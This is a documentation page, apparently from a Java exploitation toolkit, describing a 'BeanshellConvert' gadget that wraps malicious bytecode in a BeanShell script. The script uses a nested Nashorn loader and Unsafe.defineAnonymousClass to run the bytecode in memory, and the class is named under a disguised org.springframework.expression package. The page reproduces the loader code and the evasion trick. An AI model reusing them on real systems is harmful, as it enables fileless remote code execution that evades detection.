Skip to content

Latest commit

 

History

History
58 lines (48 loc) · 4.12 KB

File metadata and controls

58 lines (48 loc) · 4.12 KB

将byte[]字节码转换为Beanshell字符串(BeanshellConvert)

  • 类别:common 别名:— 优先级:—
  • 作者:—
  • 依赖bsh(BeanShell,运行时还需目标 JDK 具备可用的 JS 脚本引擎,见下)

作用

把链尾产出的 byte[] 恶意字节码封装成一段 BeanShell 脚本字符串。该脚本被 BeanShell 引擎 eval 时,会在其内部再启动一个 JS(Nashorn/Rhino)脚本引擎,借助 sun.misc.Unsafe.defineAnonymousClass 把字节码定义为匿名类并 newInstance(),从而无落地地加载并触发恶意类。属于「表达式装配(Convert)」类构件,是 BeanShell 表达式利用(如 BeanshellRef)的中间转换环。

链接标签

  • 入口 tagsBeanshell_ExprExpression —— 本 gadget 产出一段 BeanShell 表达式,供上一环「能触发 BeanShell eval」的 gadget(BeanshellRef 等,其 nextTagsBeanshell_Expr)承接。
  • 衔接 nextTagsBytecodeConvertTag —— 其内层必须是一个产出原始字节码的 BytecodeConvert 类构件(最终由 Exec 等 sink 生成 ProcessBuilder 字节码)。
  • excludes:无。

源码剖析

public static String beanshellTemplate =
    "try{\nnew javax.script.ScriptEngineManager().getEngineByName(\"js\").eval(\""
    + JsConvert.jsTemplate + "\");}catch (Exception e){}";

private String getObject(byte[] bytecode) {
    String bytecodeB64 = Base64.encodeBase64String((byte[])bytecode);
    return String.format(beanshellTemplate, bytecodeB64);   // 把 Base64 字节码填入模板
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    context.getEngine().setGadgetParam("className",
        "org.springframework.expression." + RandomStringUtils.randomAlphanumeric(16));
    return this.getObject((byte[]) chain.doCreate(context));
}
  • 模板复用 JsConvertbeanshellTemplate 直接内嵌了 JsConvertjsTemplate。也就是说 BeanShell 只是「外壳」,真正加载字节码的是嵌套的一段 JS:
    var s='%s'; var bt = java.util.Base64.getDecoder().decode(s);
    var theUnsafeField = Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');
    theUnsafeField.setAccessible(true); unsafe = theUnsafeField.get(null);
    unsafe.defineAnonymousClass(Class.forName('java.lang.Class'), bt, null).newInstance();
    因此虽然依赖只写了 bsh,实际运行仍要求目标 JDK 存在可用的 JS 引擎(Java 8~14 的 Nashorn,或 6/7 的 Rhino;JDK15+ 移除 Nashorn 后此路径失效)。
  • invoke 顺序有讲究:先 setGadgetParam("className", "org.springframework.expression.<16位随机>")调用 chain.doCreate(context)。因为内层 BytecodeConvertdoCreate 时会读取该 className 参数为其生成的恶意类命名——这里把类名伪装成 org.springframework.expression 包下的随机名,降低特征可辨识度。
  • 产物是 String:最终返回的是一段可被 BeanShell eval 的脚本文本,交由外层 BeanshellRef 装入其 BeanShell 触发结构。

参数(@Param)

本类无 @ParamclassNameinvoke 内部随机生成并注入 context,用户不可配。

适用版本与原理要点

  • 依赖 bsh(BeanShell)用于外层表达式求值;内层 JS 加载字节码要求 8 ≤ JDK ≤ 14(与 JsConvert 相同约束,JDK15+ 无 Nashorn 则失败)。
  • 采用 Unsafe.defineAnonymousClass 内存加载,无需 TemplatesImpl,也不落地文件。
  • 类名固定伪装为 org.springframework.expression.*,可作为检测特征之一。

所属预设链

关联

  • 上游(消费 Beanshell_Expr):BeanshellRef(JNDI Reference 触发 BeanShell eval)。
  • 下游(nextTags=BytecodeConvertTag):BytecodeConvert 同族的字节码转换构件 → Exec
  • 同族参照:JsConvert(去掉 BeanShell 外壳的纯 JS 版本)、其他 *Convert 表达式装配构件。